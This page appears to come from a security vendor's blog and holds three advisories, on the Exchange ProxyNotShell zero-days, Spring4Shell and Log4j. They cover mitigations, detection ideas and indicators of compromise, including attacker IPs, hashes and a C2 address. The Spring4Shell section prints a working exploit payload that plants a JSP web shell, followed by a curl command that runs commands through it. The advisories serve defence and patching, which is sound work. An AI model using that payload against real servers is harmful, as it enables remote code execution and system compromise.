Categories
Cybersecurity Advisories

Microsoft Exchange Zero-Days (CVE-2022-41040 and CVE-2022-41082)

Update

10/4/2022 – Microsoft updated their blog with three mitigation options.

10/8/2022 – Updated mitigations. A correction was made to the string in step 6 and step 9 on the URL Rewrite rule mitigation Option 3.

Description

Two new zero-day vulnerabilities in Microsoft Exchange are actively being exploited in the wild. The first vulnerability is reported to be a Server-Side Request Forgery and is identified as CVE-2022-41040. The second allows remote code execution (RCE) when Powershell is accessible to the attacker and is identified as CVE-2022-41082. Microsoft informed that the two vulnerabilities have been collectively dubbed ProxyNotShell, mainly because “it is the same path and SSRF/RCE pair” as ProxyShell but with authentication, suggesting an incomplete patch. The two flaws are linked together in an exploit chain, with the Server-Side Request Forgery bug enabling an authenticated threat actor to remotely trigger arbitrary code execution.

  • CVE-2022-41040 (CVSS score: 8.8 High) – Microsoft Exchange Server Elevation of Privilege Vulnerability
  • CVE-2022-41082 (CVSS score: 8.8 High) – Microsoft Exchange Server Remote Code Execution Vulnerability

Microsoft emphasized that it’s working on an accelerated timeline to implement a solution, while urging on premises Microsoft Exchange customers to add an IIS Manager blocking rule as a short-term stopgap to mitigate potential threats.

According to Microsoft, Exchange Online customers do not need to take any action.

 

SecurIT360 SOC Managed Services

If you utilize our SOC Managed Services, here are the actions we are taking to help detect this activity:

MDR Services

  • We have added IPs known to exploit this vulnerability into our blocklists in our MDR solution, FortiSIEM.
  • Indicators are provided in the Indicators of Compromise section below if you would like to proactively block them in your firewall.

EDR Services

  • We have implemented known IoC information to help with detection. If we see activity related to these exploits, we will contact you directly.

We will be providing frequent updates. If you use on-prem exchange, please review the details below which provide mitigations and detections.

 

Mitigation

Although there is no official patch as of yet, Microsoft published a blog post detailing mitigation and detection steps.

To reduce the risk of exploitation, Microsoft proposed blocking the known attack patterns through a rule in the IIS Manager:

  1. Open IIS Manager
  2. Select Default Web Site
  3. In the Feature View, click URL Rewrite
  4. In the Actions pane on the right-hand side, click Add Rule(s)…
  5. Select Request Blocking and click OK
  6. Add the string “(?=.*autodiscover)(?=.*powershell)” (excluding quotes).
  7. Select Regular Expression under Using.
  8. Select Abort Request under How to block and then click OK.
  9. Expand the rule and select the rule with the pattern: (?=.*autodiscover)(?=.*powershell) and click Edit under Conditions.
  10. Change the Condition input from {URL} to {UrlDecode:{REQUEST_URI}} and then click OK.
  11. Additionally, Microsoft recommends disabling remote PowerShell access for non-admin users. The operation should take less than five minutes and the restriction can be enforced for only one or multiple users.

Detection and Advanced Hunting

For detection and advanced hunting guidance, customers should reference Analyzing attacks using the Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082.

Indicators of Compromise (IoCs)

Hash (SHA256):

c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP:

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

C2:

137[.]184[.]67[.]33

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

MITRE Summary

TacticIDName
Resource DevelopmentT1586.002Compromise Accounts: Email Accounts
ExecutionT1059.003Command and Scripting Interpreter: Windows Command Shell
ExecutionT1047Windows Management Instrumentation
PersistenceT1505.003Server Software Component: Web Shell
Defense EvasionT1070.004Indicator Removal on Host: File Deletion
Defense EvasionT1036.005Masquerading: Match Legitimate Name or Location
Defense EvasionT1620Reflective Code Loading
Credential AccessT1003.001OS Credential Dumping: LSASS Memory
DiscoveryT1087Account Discovery
DiscoveryT1083File and Directory Discovery
DiscoveryT1057Process Discovery
DiscoveryT1049System Network Connections Discovery
Lateral MovementT1570Lateral Tool Transfer
CollectionT1560.001Archive Collected Data: Archive via Utility

Resources & Related Articles

Categories
Cybersecurity Advisories

Spring4Shell Detection & Mitigation CVE-2022-22965

Description

Spring4Shell, or CVE-2022-22965, is a RCE (remote code execution) flaw in the “Spring framework”. Spring, as it is commonly known, is an open-source application framework that provides infrastructure support for developing Java applications. Basically, it helps you write Java applications. According to https://spring.io :

“…Spring is infrastructural support at the application level: Spring focuses on the “plumbing” of enterprise applications so that teams can focus on application-level business logic, without unnecessary ties to specific deployment environments.”

Currently, all versions of Spring are impacted, but the web application must be running on JDK version 9 (the local Java installation) for the application to be vulnerable.

The application must also be running on top of Apache Tomcat.

The impact here is that an application running on a web server will have certain permissions. Those permissions will vary greatly, depending on how the application is built and installed. You should always assume that the web services is running with root privileges until proven otherwise. With that in mind, this Remote Code Execution vulnerability would allow an unauthenticated attacker to run commands on the underlying web server with the permissions of the web service.

Image 1: Bad bad bad!

Detecting Exploitation

Understanding the Exploit

The vulnerability relies on the ability to traverse the properties of a java class from a query parameter and locate a file that the attacker can both write to and has meaning to the execution of the program.

You would then make a request like such:

curl 
‘http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test’

Example exploit code:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

The above creates a file called shell.jsp in the webapps/ROOT folder. One final command can be used to exploit the vulnerability:

curl http://localhost:8080/shell.jsp?cmd=whoami

Understanding Detection

Filename/Web Shell
The initial PoC used a filename called tomcatwar.jsp, however, this is trivial to change so any new .jsp files should be scrutinized.

Log sources: Web server OS-level logs, Web server (e.g. Apache Tomcat) logs, EDR logs

 

POST Requests
It may be possible to detect by inspecting POST requests. Look for requests that contain class.module.classLoader.resources.context.parent.pipeline.first in the url.

Generically, looking for *.jsp or *.class* may also help detect.

Log sources: Web server (e.g. Apache Tomcat) logs

 

Yara Rule
This yara rule is designed to detect JSP webshells and in particular references the possibility to detect webshells found after exploiting the Spring4Shell PoC:
https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar


SecurIT360 SOC Managed Services

If you utilize our SOC Managed Services, here are the actions we are taking to help detect this activity:

MDR Services

  • There is an MDR rule in place looking for traffic associated with known IP addresses, we are pulling from a GreyNoise Trends list.
  • A firewall block list is available if you would like to proactively block these IPs at your firewall – https://www.greynoise.io/viz/tag/spring-core-rce-attempt.
  • Nessus has released some plugins to help detect systems vulnerable to this exploit and we have incorporated these into your External Vulnerability Scans over the weekend. If we detect internet facing vulnerable systems in your environment, we will contact you directly.

EDR Services

  • We have incorporated known IOC information to help with detection, if we see activity related to this exploit, we will contact you directly.

Vulnerability Discovery

Here we are identifying affected systems.

For Nessus plugin ID 159374, “Spring Framework < 5.2.20 / 5.3.x < 5.3.18 Remote Code Execution (CVE-2022-22965),” users are required to enable the “Show potential false alarms” setting, also known as paranoid mode, in their scan policy in order to enable this plugin in a scan. In addition, the “Peform thorough tests” setting must be enabled as well.

We also recommend enabling only this specific plugin in a paranoid scan. Scan policies configured to have all plugins enabled will see an increase in the number of triggers, as it will include all paranoid plugins during the scan.

Enabling Paranoid and Thorough Tests Modes

To enable this setting for Nessus and Tenable.io users:

  1. Click Assessment > General > Accuracy
  2. Enable the “Show potential false alarms” option
  3. Enable the “Perform thorough tests (may disrupt your network or impact scan speed)” option

Plugin ID 159374 is available in feed serial 202203311743.

Mitigation

Patch
Temporary mitigation

To apply the temporary mitigation, applications could extend RequestMappingHandlerAdapter to update the WebDataBinder at the end after all other initialization. In order to do that, a Spring Boot application can declare a WebMvcRegistrations bean (Spring MVC) or a WebFluxRegistrations bean (Spring WebFlux). More details here: https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Resources

Categories
Cybersecurity Advisories

Log4j Zero-Day Advisory

We would like to make you aware of a critical and widespread unauthenticated Remote Code Execution (RCE) vulnerability involving Apache’s Log4j Java logging library.

Update – December 28th, 2021 (CVE-2021-44832)
On December 28th, Apache confirmed yet another vulnerability (CVE-2021-44832) that affects Log4j 2.0-beta7 to 2.17.0 (excluding 2.3.2 and 2.12.4). This is a new remote code execution vulnerability that requires an attacker to have permissions to modify the logging configuration file in order to be exploited. Apache has released Log4j 2.17.1 to fix this and previous vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105).

December 16th, 2021 (CVE-2021-45105)
On December 16th, Apache confirmed another vulnerability (CVE-2021-45105) that affects Log4j 2.0-alpha1 to 2.16.0 (excluding 2.12.3). It has been discovered that certain non-default configurations could allow attackers to perform a denial-of-service attack. Apache has released Log4j 2.17.0 to fix this and previous vulnerabilities associated with CVE-2021-44228 and CVE-2021-45046

SecurIT360 Managed Services ImpactAccording to FortiNET, FortiSIEM is listed as one of their applications that is impacted by Log4j.  We have followed the recommended mitigation steps across our FortiSIEM infrastructure.  Access to our FortiSIEM product externally is controlled by IP whitelisting, therefore only approved IP addresses can communicate with our environment by design. Their advisory page for this exploit is here for reference.
For Carbon Black, we use their cloud product and do not utilize any on-prem servers; therefore, it is not vulnerable to Log4j.  Their advisory page for this exploit is here for reference.
Detection of Vulnerable Log4j Versions

  • You can still utilize these detection methods that have been published to GitHub by security researchers
  • Nessus has released another updated plugin to help detect vulnerabilities associated with Log4j.  Our SOC analysts continue to run Nessus external vulnerability scans for all SecurIT360 MDR managed service clients as new plugins are released and will alert on successful findings.
    • So far, we have not detected any vulnerable versions via the external Nessus scans.  All scheduled routine external scans will continue to utilize this new plugin going forward.
    • An external scan is not enough, we do recommend utilizing the open-source tools mentioned above to detect all instances of Log4j in your environment.  Nessus plugins are also available for internal credentialed scans which can provide more thorough detection.
    • If you would like us to assist with Log4j detection utilizing Nessus Internal/External scanning please let us know and we can notify your account representative.
    • If you are a MDR managed client and would like us to update the external targets and rerun the scan or rerun the scan following a successful upgrade, please reach out via email to soc@securit360.com
  • A community-maintained list of known IPs associated with this exploit can be found here
    • All SecurIT360 MDR managed service clients are receiving alerts on permitted web traffic involving these known IP addresses
  • Hashes of vulnerable versions can also be found here for internal detection. Routine searches for these hashes are being conducted in Carbon Black across all SecurIT360 EDR managed service clients, we will alert on successful findings
    • All EDR managed service clients will be alerted to potential exploit activity if detected.

Recommended Mitigation Steps

  • Identify all applications in your environment that use Log4j and follow vendor guidance
  • Utilize open-source detection tools, Nessus, etc.
  • Upgrade to version Log4j 2.17.1 or later as soon as possible.
  • If upgrading is not feasible, we recommend following Apache’s mitigation guidance for Log4j 2.10 and later which can be found here
  • Restrict egress traffic to approved destinations at your firewall
    • IP Whitelisting
    • Restrict the types of traffic going out such as LDAP
  • Consider preemptively blocking known IPs associated with this exploit at your firewall
  • CSV format
  • TXT Format

Links